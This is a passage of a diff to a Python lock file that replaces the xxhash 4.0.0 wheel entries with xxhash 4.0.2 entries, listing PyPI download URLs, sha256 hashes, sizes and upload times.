"sha256:495820b8908edd87bb69924f04106dad7cb349763aacf741f820d7d0e04bb4da", size = 280231, upload-time = "2026-08-12T16:54:44.351Z" }, - { url = "https://files.pythonhosted.org/packages/a7/10/3855a7275d6bc04cb4ad31e5b44d91fc0f0ad2fcb6676ae56b313d4abbf6/xxhash-4.0.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3cd39edf34945dd02f256a778eda5c9ea52e865a45f218460a5d6d12b266607f", size = 306797, upload-time = "2026-08-12T16:55:20.632Z" }, - { url = "https://files.pythonhosted.org/packages/f3/57/69ed901908fd34d264a5941fcccc83fb0886a6a6fefee8d40a25a3b1d59b/xxhash-4.0.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:02b998b2a3150780d596f9cf8ae90fc19e38c64971bddbe6e492de0c0c0d07e9", size = 265528, upload-time = "2026-08-12T16:59:17.822Z" }, - { url = "https://files.pythonhosted.org/packages/52/62/cfceb242c029a3198d4fb8b804c41b08d51e661aa43891a05a5839fc8562/xxhash-4.0.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:41c810a5ad4aaf862812575f477361e8a76a368764d3c265f53511fbbf8fa5ef", size = 284161, upload-time = "2026-08-12T16:55:07.446Z" }, - { url = "https://files.pythonhosted.org/packages/c4/ca/1ec30ab71826decd231f1231e276f6cf0f54cae709e11427be8102b1843f/xxhash-4.0.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:91aa1d5418de8aaca5a418f22657a3e4c1bc37f993aba8b010a46b39f6d37501", size = 335726, upload-time = "2026-08-12T16:59:26.785Z" }, - { url = "https://files.pythonhosted.org/packages/31/ea/c710d5d1279c7c7e7ad4cf9d1d2f9106223e484a9b761a353cfcc5900a24/xxhash-4.0.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:ef341c82fc06696c1feb6923c900e6e00a9f049f86d6bbc275cd6c02f7091c2a", size = 486311, upload-time = "2026-08-12T16:55:44.33Z" }, - { url = "https://files.pythonhosted.org/packages/6a/95/777a75e55e540da1c0fa83ab4ae6d517e047ba72a299d89f850d5d57bc76/xxhash-4.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cb96c1c045996975892d55118f5fe323b1c7fb56ce1a5505f065e4c66e7f341c", size = 263414, upload-time = "2026-08-12T16:54:48.469Z" }, - { url = "https://files.pythonhosted.org/packages/1c/9a/a5a0c97212574ff5bd9a297e11536e6caad705f0e9a554bf6e78ce2cafef/xxhash-4.0.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:82160fc93048d66bf7872b3e3d482f833d6c586e56357c53d9a4c147871a677e", size = 20200, upload-time = "2026-08-12T16:54:54.361Z" }, - { url = "https://files.pythonhosted.org/packages/df/da/b4de0e377f0f9bb732c9b7814492a249e668c3910b9a51df86a11ff5c4a2/xxhash-4.0.0-cp314-cp314-win32.whl", hash = "sha256:ca16817ba162e53c56e19c428f7629fbf86e0c36d6c95c1ae9f2206767a81f47", size = 34774, upload-time = "2026-08-12T16:55:37.205Z" }, - { url = "https://files.pythonhosted.org/packages/b9/0a/4cebdfd9970a7859e0287621954270ca3ac63807b95e9d4dec316de13c80/xxhash-4.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:77dbca7da50340f2bddb1ab16ced523ae275f319d209362a7bdb7f306dd9cfdb", size = 36763, upload-time = "2026-08-12T16:59:19.774Z" }, - { url = "https://files.pythonhosted.org/packages/29/d7/d96b991a5fb945d6a6e54ae0bdda7502717a6d34640e4b00964682329f38/xxhash-4.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:e104176ad369e3d52cba2dd85832d19f9ad04393ccf738b260553e7a54a6fed6", size = 34036, upload-time = "2026-08-12T16:55:28.081Z" }, - { url = "https://files.pythonhosted.org/packages/a3/69/c1cc56e1fcbadcec54ce005e77e689a306299087320c4ddbc848af5d867b/xxhash-4.0.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:e9dccaddc24daee3c0aa0cfbaed95cdee594edf5638d941675628dc7bfbb22fc", size = 38329, upload-time = "2026-08-12T16:59:28.887Z" }, - { url = "https://files.pythonhosted.org/packages/32/18/70afb6fc2c2e1bb4cea8387d3e4a8467678e6acb0786c88ebe704839f86c/xxhash-4.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8a00751c4b92c1f4b5785ef1729ae4ccebcffdba1ff4095a6c7285ab122e223e", size = 35958, upload-time = "2026-08-12T16:55:51.755Z" }, - { url = "https://files.pythonhosted.org/packages/d2/90/4bc82997ff15aeaedbb2c8a5e1b3908f8eba7599bf49c37ba5af71627a78/xxhash-4.0.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:06eb2bdab339f0a59a1a6ad97c2be21d4dc4c2fa095182540bef56ccf1d149b1", size = 273387, upload-time = "2026-08-12T16:54:51.914Z" }, - { url = "https://files.pythonhosted.org/packages/0f/ad/b881718ae097adedc2d03db5c7c30dce7da7f054f4e7bb7b7c3d1bf7e631/xxhash-4.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:67284df807563ca3f79cf3ee0acc76ffa873aad85a9e587441d18d0cdb1fc143", size = 300757, upload-time = "2026-08-12T16:55:00.431Z" }, - { url = "https://files.pythonhosted.org/packages/f3/32/b7afbba0750a4792e59f81bcc0e9c105dd388c7977b6d3fbaab24641380a/xxhash-4.0.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3290769c98ea77b99d24017bccd72851079b15434478e6537034a8869f9b6fc4", size = 312404, upload-time = "2026-08-12T16:55:46Z" }, - { url = "https://files.pythonhosted.org/packages/a4/78/619630629a7e998c4a31b3111136420f15e715b72fda4fff71afa35da653/xxhash-4.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:39046bb0cc10d7eb86805d4d2b0ea9a5d3b4fb03b9061a679e48b2c8651cd31a", size = 301087, upload-time = "2026-08-12T16:59:21.767Z" }, - { url = "https://files.pythonhosted.org/packages/cb/a2/4269e599e9a7ab4b8f91529aee41c62a5c0cbc2624014cbc8a313ad082f9/xxhash-4.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:73774102f1cd53989d33ae340601139d6015a4ef4f9e38fd8fe47f24ab59472a", size = 534061, upload-time = "2026-08-12T16:55:46.98Z" }, - { url = "https://files.pythonhosted.org/packages/ec/6c/4089a593bbf5c51b4d4750a0e2bdade5e3b1771f8e209d0e390f6892de79/xxhash-4.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4445a802761e2d6f0ca4741464fbbb08e21e3a7885845e930bca4c8faf48fde2", size = 279278, upload-time = "2026-08-12T16:59:30.944Z" }, - { url = "https://files.pythonhosted.org/packages/47/05/f544e0db4fffe64dd25de640152a64f341c4a9a915108d507bbc873c6c62/xxhash-4.0.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:513304b55d0f857066548492005c2edd332ca88bdfa36a53619fe09f4f582dc5", size = 358600, upload-time = "2026-08-12T16:55:56.265Z" }, - { url = "https://files.pythonhosted.org/packages/08/c3/ce6853d35227f16d7cee4c231e6dd79fc50725808dbdd18f74e5f5f239d9/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:124d503e5ac068a0977dbfd3cbf906043bb377e223f6fda76695fe070a5e2acf", size = 295001, upload-time = "2026-08-12T16:55:06.447Z" }, - { url = "https://files.pythonhosted.org/packages/8f/eb/91bb0d5be29e60284d78d5769a80247e55480015fd8be67e4c9e7c0a2496/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:fbc07b879e9e8290a42556914234b5ae149c00c2e2c95ae1fbeedf96785c0f89", size = 319835, upload-time = "2026-08-12T16:55:10.564Z" }, - { url = "https://files.pythonhosted.org/packages/b7/60/5f9792b182848e7fe24acc81ff3d48f4729416361e79c1e4c30202183580/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:310c51cbf02be5ee7fc70a40c3d8fb609ab9efc83d0371eebdb9158b9324c0a9", size = 279061, upload-time = "2026-08-12T16:55:52.714Z" }, - { url = "https://files.pythonhosted.org/packages/60/e0/88c48e6de56b33182fae9817d67a7f3276cc6a41afc6abfd884adb1fc803/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:d96feacc843a42644ba5644f8119c2f0696fc3e0164b8d85dc22a3b702fdc2f1", size = 297263, upload-time = "2026-08-12T16:59:23.682Z" }, - { url = "https://files.pythonhosted.org/packages/30/2c/dcd5f06fed249a41a785d83d8882759e0792258a40717808a7a38fe864bc/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:a43ff13f62a6c0afa04464ed1932a8fb2dcf1cd24ac01c3b90e82d3cf22d4c3d", size = 348133, upload-time = "2026-08-12T16:55:53.517Z" }, - { url = "https://files.pythonhosted.org/packages/eb/54/aeac468983c72d71c4299b0eabbec9264685bc82d5f78c56b5336097c1f9/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:471a2122c59d05accf9001f1d8dabca473faf1caf01081b5226506d823468e3b", size = 498970, upload-time = "2026-08-12T16:59:33.199Z" }, - { url = "https://files.pythonhosted.org/packages/5a/2a/707b28087bf5b196753897680c20a3ae7ab8f60226cc8a1ca2b63efbf9f8/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:78b4fc6bb9bac999eb1ff141dc597aed3b0ddadf52f572211f0f17acfc2b844e", size = 274693, upload-time = "2026-08-12T16:56:02.787Z" }, - { url = "https://files.pythonhosted.org/packages/51/6c/80f952b5badf300b11469af73bcff7928017f27d6143ba4fa999708b96fd/xxhash-4.0.0-cp314-cp314t-win32.whl", hash = "sha256:60fdebd3eb6da7ef6b5e2b36105dc0711d1419f7c45caa0cd14244119315be65", size = 35125, upload-time = "2026-08-12T16:55:11.3Z" }, - { url = "https://files.pythonhosted.org/packages/81/f6/ce91b1e06c24bcb9ae24cdf0481bc0cb39e41c98d61631b09659501b6cf9/xxhash-4.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8920c21c73dadf9e5bee1e13e250a1acf63f3dd6d609ab2ba5d4abbd86394be2", size = 37103, upload-time = "2026-08-12T16:55:21.46Z" }, - { url = "https://files.pythonhosted.org/packages/9b/95/860bed3a0c7dede4a6a1734ab6f88998bef3e20a3d5ccf2c169073aaff9f/xxhash-4.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:55c026944fd593b4199fa299f7667aa79622d625e30f638f41f92f0c192c90d8", size = 34254, upload-time = "2026-08-12T16:55:58.587Z" }, - { url = "https://files.pythonhosted.org/packages/dc/50/525619de9e4ec98f5738ee4a0aa6177bc297bea5e53288080e5c15f377d2/xxhash-4.0.0-graalpy312-graalpy250_312_native-macosx_10_13_x86_64.whl", hash = "sha256:cc563b697d5eefc6a0a699203076687ec87db4ef8fd03330786343e309a6c009", size = 31502, upload-time = "2026-08-12T16:59:45.85Z" }, - { url = "https://files.pythonhosted.org/packages/dc/1b/1718da1d831ce7b00b6ea69fa7f19b52a1a700ac32f8b913a799ee0bdde7/xxhash-4.0.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:9a9d55a4dd7e6693cc1e15119b0719d446495513b06ed020bec8ff77a84288f0", size = 34116, upload-time = "2026-08-12T16:56:51.108Z" }, - { url = "https://files.pythonhosted.org/packages/b5/6d/7ffeb80640ecafdc51a0de3096f450891d1c3baaf77543f49a1451a844a7/xxhash-4.0.0-graalpy312-graalpy250_312_native-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07b899cf57f2573019a064b66c25b20d3e6934273fb8b921f96d74f417032d87", size = 38163, upload-time = "2026-08-12T16:59:55.311Z" }, - { url = "https://files.pythonhosted.org/packages/9d/88/51ff39be48d02e223942127189359397f87301c6c5f12efb9fda2d7ac8d6/xxhash-4.0.0-graalpy312-graalpy250_312_native-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:affef90b19eb63d054a1c16df70daee553dd735e9109e3ded5f390dda7e1eab4", size = 37885, upload-time = "2026-08-12T16:57:06.59Z" }, - { url = "https://files.pythonhosted.org/packages/b6/f0/cd7d58dc604a395d33f5b73773caba6fdfca7e20ab54087094655c1a474b/xxhash-4.0.0-graalpy312-graalpy250_312_native-win_amd64.whl", hash = "sha256:56ab134b8a5ef7a4d95c8cc0436ccab03ab20cab799e0886f4f1e728e205893e", size = 36816, upload-time = "2026-08-12T16:56:32.76Z" }, - { url = "https://files.pythonhosted.org/packages/69/b9/27ce26769194c38e93f9b6a5cc8e6cc24b976e3221566efe89c3db055064/xxhash-4.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:6e0690932bd17f1e2e0895d44844fc3bc33304c64970dbdc8e10e86a2808fe40", size = 36099, upload-time = "2026-08-12T16:59:08.061Z" }, - { url = "https://files.pythonhosted.org/packages/49/e1/f8d8f3ade77145e937baf7c62b038c964f248a33a439406413ca7d82d5fb/xxhash-4.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:ec6f32520a939345f057fe4fd4cba9e988caf9aa738ae0648ebc9a0e26f9afba", size = 33104, upload-time = "2026-08-12T16:56:58.042Z" }, - { url = "https://files.pythonhosted.org/packages/48/7d/6560dc2540d83e885657ce9a44afed7173f71204a8877480853790444f36/xxhash-4.0.0-pp310-pypy310_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:131e68f730eade01b60b37df1017d07a804ebc62dd06cc9fd6e241c6c09628da", size = 47684, upload-time = "2026-08-12T16:59:47.883Z" }, - { url = "https://files.pythonhosted.org/packages/53/40/23edf739346d4b7c38c684d7b7a8089549118f423dba8fcff0649f67a11a/xxhash-4.0.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a870ba5809434c0e33bc1c996fbadf59f5bee2346e3ae212e74a1a8a5389a38", size = 42366, upload-time = "2026-08-12T16:56:53.662Z" }, - { url = "https://files.pythonhosted.org/packages/5c/07/e46c7ba805c3f7584d59575a185cec04cbd351f694bb7542400129230dee/xxhash-4.0.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebf1b7d63171a3ffd8a7361142a51fb7463defa43068d787bb3aa05e0ac822e1", size = 39118, upload-time = "2026-08-12T16:59:56.821Z" }, - { url = "https://files.pythonhosted.org/packages/98/3e/89d28986f30a11f029d07164916634062ff77fe4f5a84dbefa6ac29256ed/xxhash-4.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ade38cd596f12a250b747a2bb54a7e23b45dcc112c537d34e08e16b06d09bf31", size = 36881, upload-time = "2026-08-12T16:57:07.893Z" }, - { url = "https://files.pythonhosted.org/packages/83/b1/49cb67d760607af93db044208df1ae51d667e74e9352bdf0a79559445ce0/xxhash-4.0.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a1c8a2ea77ad2b22ab4ad34cc673aedd291143169ce10fac5728f5d3c017b378", size = 35993, upload-time = "2026-08-12T16:56:37.708Z" }, - { url = "https://files.pythonhosted.org/packages/bb/1a/d2855a8bb2f5a7ae10ffd55621a17bef3021646e8b1095494c678f6ace80/xxhash-4.0.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1969258533437c96c8a46028820e9c99741ad7d03476abcb76566e2e324d89", size = 33186, upload-time = "2026-08-12T16:59:10.926Z" }, - { url = "https://files.pythonhosted.org/packages/75/fd/9b6cafb5bcaf99442b5ac0ed2898c830cea9d2f9d962f7f732a17677771e/xxhash-4.0.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:8f3808b745a46aebdc844c603c6b9ab550451cbb499f706decd76f7d1a65ca4b", size = 47649, upload-time = "2026-08-12T16:57:00.637Z" }, - { url = "https://files.pythonhosted.org/packages/94/d0/0f527d9b2b5b62ae3fed9c28c870d06e3f68926fed465f0b53f2322e6985/xxhash-4.0.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:627149915a90215c694e4ac0c75bad8ae00eee1937f39f45b4ff46c01130fdee", size = 42388, upload-time = "2026-08-12T16:59:50.026Z" }, - { url = "https://files.pythonhosted.org/packages/3f/9c/ec4801ca684181b0f8bcea447721bc007b740a9ae5c15128e3aed481e51b/xxhash-4.0.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:65a6af70b5f5ed88f88791c5de70905c655cff0fee062604f67acfc843c2841e", size = 39184, upload-time = "2026-08-12T16:56:56.505Z" }, - { url = "https://files.pythonhosted.org/packages/8f/43/efbc17c2a467da34f207dcef369cc9364aa2a8172b4e056a0e875e934688/xxhash-4.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:36f59fa0d52d984a19c3026a951a183ebabfb2a847f9c5addc43e0191d44c3ab", size = 36911, upload-time = "2026-08-12T16:59:58.257Z" }, +version = "4.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/39/e6/ed6c428055ffd3f9299db3ec8671fd78b70c24173c040b8faafb6348ebbb/xxhash-4.0.2.tar.gz", hash = "sha256:af3d1b3cfa5280e84d8968e9f30c9eca75781db4915eb6d6acb0dd4fc93e0f47", size = 101549, upload-time = "2026-10-19T06:00:08.459Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/63/fb/09726eee9268e78494cf031d6a37404f4efef2bcdf6b0c2ec6f737db089d/xxhash-4.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ec851cf4a64d98e09101a18190fd20de2928b2ae1541093236664a47fb101271", size = 38453, upload-time = "2026-10-19T06:01:15.916Z" }, + { url = "https://files.pythonhosted.org/packages/3f/28/d581b2308cb9c731644a86f25b33cba6e9e540d1d05e3c51fcc274f2df69/xxhash-4.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f2b2839a83b9a9d03ddf89f440bb43627832e77b9a4276988d8aa0bb49aed0df", size = 36206, upload-time = "2026-10-19T05:59:08.408Z" }, + { url = "https://files.pythonhosted.org/packages/cf/86/e2a23ad2eb1cf7155ec72b6af92a258c2b863c3f0337b1719d82c972a357/xxhash-4.0.2-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4c3834e32060ab46ad9cfe4981d48c306cd1f124b8efe0aed559a765f6e1d332", size = 253273, upload-time = "2026-10-19T05:58:00.641Z" }, + { url = "https://files.pythonhosted.org/packages/99/03/9380983dacb2ecd290044315433cd147be6821011621c05acd011eaf8be9/xxhash-4.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fa1febd6e8ad9eedfbbeac0cb5d86346ed0b78a846d822c3af36fddde503516b", size = 276523, upload-time = "2026-10-19T05:59:48.356Z" }, + { url = "https://files.pythonhosted.org/packages/98/c7/1dfd984f0be6554483d76f1c9622a0c1204805a781b2f0563feb7fd74b0a/xxhash-4.0.2-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:60208a7c31d936045e911ff0c3170ac0e432611b6800c220cc66b908c33b16dd", size = 296294, upload-time = "2026-10-19T05:58:19.019Z" }, + { url = "https://files.pythonhosted.org/packages/3a/1b/7feb8790f30ab8215a047711216b77fae337993e8c70acb694aa577fb168/xxhash-4.0.2-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c9b7b91d072e239d4d0c6d868ae4a2f75dee55856227638488db156a4b462588", size = 279949, upload-time = "2026-10-19T05:59:10.145Z" }, + { url = "https://files.pythonhosted.org/packages/f8/14/94373f5b7b59705e6d28d4bd819ec67a56615e4cb00d91520c9ab3031d09/xxhash-4.0.2-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e79bc2bef5c7ca6cf4c2561aab00340d369b80ea56976a4a4c6ce5e3ed8fb59d", size = 509831, upload-time = "2026-10-19T05:58:02.705Z" }, + { url = "https://files.pythonhosted.org/packages/f1/25/1a894b324cd7b8b9d05b69a546752e6e378667910ad25bf01dcd7b2e129e/xxhash-4.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8e86a0b5e28418162dfa68d6dc4bee873ea2efbd6ee67789903a0ee37a81c14", size = 260984, upload-time = "2026-10-19T06:01:17.492Z" }, + { url = "https://files.pythonhosted.org/packages/d2/6a/aa0164da8cbcc491a8242f9dda4eb0d98631670b03e5967690b695da4716/xxhash-4.0.2-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:52fd50828b49caf80824fff67bdbd8cd2db7e033dd8b3edf024c98b326d2a8c4", size = 339603, upload-time = "2026-10-19T05:59:10.683Z" }, + { url = "https://files.pythonhosted.org/packages/5a/fb/4d2b91f69c72e96aa21ac6711576c55d040c800ee1d14cbbbe6bb3149b04/xxhash-4.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3e0d6d7ec5072ed81e54de4fa778e6c1c8fe70cf8ccfc3907abde59147fac84e", size = 272538, upload-time = "2026-10-19T05:58:02.16Z" }, + { url = "https://files.pythonhosted.org/packages/79/18/4ebad4cb309fbb1b2d6a64a667a5779da6ed947e4e71d5db9146a4e0ce75/xxhash-4.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3473e7ac274a9a63c90acd365dd4b481659c6e061db153851f6e5d7b61e264cf", size = 300403, upload-time = "2026-10-19T05:59:50.681Z" }, + { url = "https://files.pythonhosted.org/packages/10/79/8eec32702b7095adb7aa6103048bc781e8d5eb37dd3b2fe911b32fd65d57/xxhash-4.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16e30b4a045f1456af45016a888fda09a45b5adb5606da0463a3a0d58130852d", size = 259267, upload-time = "2026-10-19T05:58:21.066Z" }, + { url = "https://files.pythonhosted.org/packages/fc/bf/03dd3e533918d6ec421b8b39b74d8f245ef3adc42dec3c6116ae6aeee088/xxhash-4.0.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b3428dc057d1d483723d597e60e778bc58dd117daf23b866c1a6b5debb8eb300", size = 278210, upload-time = "2026-10-19T05:59:12.221Z" }, + { url = "https://files.pythonhosted.org/packages/8d/fe/6cc7aa5d2ca3c11e0c603384c478061df4c0803c8fbc1e1f121e3fc55a1b/xxhash-4.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5da15e375188f4239277559e4efaab4cf4434162e622b2ba1dea956457994cf7", size = 329829, upload-time = "2026-10-19T05:58:04.509Z" }, + { url = "https://files.pythonhosted.org/packages/2d/60/8933222747118222f3ab61123f831c0c4f5cc0ac21a7d344d10cf643c54c/xxhash-4.0.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:838dae9c2efa4f4cd0be082a1a4077aa3043b407d8bc72f82864cd0807bd9945", size = 477260, upload-time = "2026-10-19T06:01:19.353Z" }, + { url = "https://files.pythonhosted.org/packages/5c/92/36e01f03557bccfe3fa52c2d6478ade7b96b47171d0806bdac1045bc76bb/xxhash-4.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:42fcaec8c705d1ea362d4cf011aea0dad1ebe13096ed227f9cfecfcac396c72c", size = 257535, upload-time = "2026-10-19T05:59:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/ff/75/97e4d3ac92fa7d46f1a8840d55acee5126f281260eca03b22d5fa3e18e57/xxhash-4.0.2-cp311-cp311-win32.whl", hash = "sha256:4d1fa6f15a913dbafa50f3ee143a13440cd0b9849a1bde290c72ebde7838c937", size = 34614, upload-time = "2026-10-19T05:58:03.604Z" }, + { url = "https://files.pythonhosted.org/packages/eb/20/6c0271610bec93dc62a24c15f023f81d1781bb1ee9df15daf8b649116d92/xxhash-4.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:c60fa1038814c3c682a8e3b68aeca598e7b90eb4a65d4a48b7e0e6fbae825507", size = 36982, upload-time = "2026-10-19T05:59:52.994Z" }, + { url = "https://files.pythonhosted.org/packages/ff/ce/b99ca9bdb39ae49f44f29ef8fbf7fc01eabe7c9f526c6b61c5537907bb85/xxhash-4.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:3a5529d43d09851dffa38936040f19e938e8368ecaddc646035a1dc7801bfa09", size = 33209, upload-time = "2026-10-19T05:58:23.485Z" }, + { url = "https://files.pythonhosted.org/packages/58/32/7f74a5661a3029102178950b24f9b1baa259429f97a5d8ef855935472f58/xxhash-4.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:cb66d346593cb6851498b9ed554582aede153e32c9835edb76995746e563ac6b", size = 38428, upload-time = "2026-10-19T05:59:15.002Z" }, + { url = "https://files.pythonhosted.org/packages/bf/79/0ad1d456bbfb30761f6fc174dca610dcd46ef1280a708ce1bdb5de8b5368/xxhash-4.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:aeda53dfb6bcae94adb1f5df4246fe13b9c4202f531dd9d39e0d55b36ba8db0e", size = 36174, upload-time = "2026-10-19T05:58:05.938Z" }, + { url = "https://files.pythonhosted.org/packages/30/fd/ea481dcc75bdacdb4d4b1039007bc60a0c0d7cd999d28e3e19b61099a6fb/xxhash-4.0.2-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e956b1a4e8fd8ea6fdb823670bf6ee3eade44c5ba3bbca06aa67805e4815a9e6", size = 253093, upload-time = "2026-10-19T06:01:20.933Z" }, + { url = "https://files.pythonhosted.org/packages/19/9c/39619aa3a1d569ff5fd8b5ea34600451310a63bf23d158f74a4fbc9fdcd3/xxhash-4.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1fce8df7958f0828bd78d2ecfd9b11510abff9edc0e28fa7f7ca0ddcee2f0a8b", size = 276506, upload-time = "2026-10-19T05:59:15.76Z" }, + { url = "https://files.pythonhosted.org/packages/9e/01/d9e445ac597f8b6acd6aefdfa21230919e9aa7f14bee3ee0d634c3f3bcb7/xxhash-4.0.2-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:1ab636ddc4f257bb2713c078d3f6112f194e92d8a32442233ea957fdddb51de6", size = 297700, upload-time = "2026-10-19T05:58:05.221Z" }, + { url = "https://files.pythonhosted.org/packages/62/14/e7ceb1cdb9a643ebf6ca6d8b3a63b9bb43dbee8b362d0c6f9b3dd8318dec/xxhash-4.0.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c9f9c25738cbab7ca51763f724db95bc7f50f3174793389fee7f97e154bd9c83", size = 280234, upload-time = "2026-10-19T05:59:55.319Z" }, + { url = "https://files.pythonhosted.org/packages/be/16/9c30c6d7caafb654632a5fdfb45dfe4133254749dfaccef88bcdd033efe1/xxhash-4.0.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:60f30791faec3e96c8ed5921045231f7d3355649af47809e5a75c8a17dba8b6b", size = 511017, upload-time = "2026-10-19T05:58:25.71Z" }, + { url = "https://files.pythonhosted.org/packages/b2/c6/3a85fc0b821ed2dfcf6fb7cfdf07e0b261ada40374583a50abb3480f2863/xxhash-4.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7c7c95dba490be3b4e5a2fa5595b4d4f088fe7b8726e5998b8c1d83b1f9eb3e4", size = 261797, upload-time = "2026-10-19T05:59:17.727Z" }, + { url = "https://files.pythonhosted.org/packages/bc/75/dce80778193b5d099ba01bc03725bf8095280e5b6ec434fdcc62124f7ecc/xxhash-4.0.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f53479d8e13f93e1e3ef0e933a1901cbb4d8745c61c3876ff5b7c544e40f13ed", size = 339860, upload-time = "2026-10-19T05:58:07.481Z" }, + { url = "https://files.pythonhosted.org/packages/55/8a/5fc8b33217e25a37f8dfad398f602d404781535759f7d9578871349bb476/xxhash-4.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d42a7b02f204d5133d38d173766ff47a5da46fcf2c3876718b819f1f5500a55f", size = 272850, upload-time = "2026-10-19T06:01:22.258Z" }, + { url = "https://files.pythonhosted.org/packages/47/f9/ddf4f2bbc143886edd7c66e73c0adc6be9fb9f138a12c77bea2665be744c/xxhash-4.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = 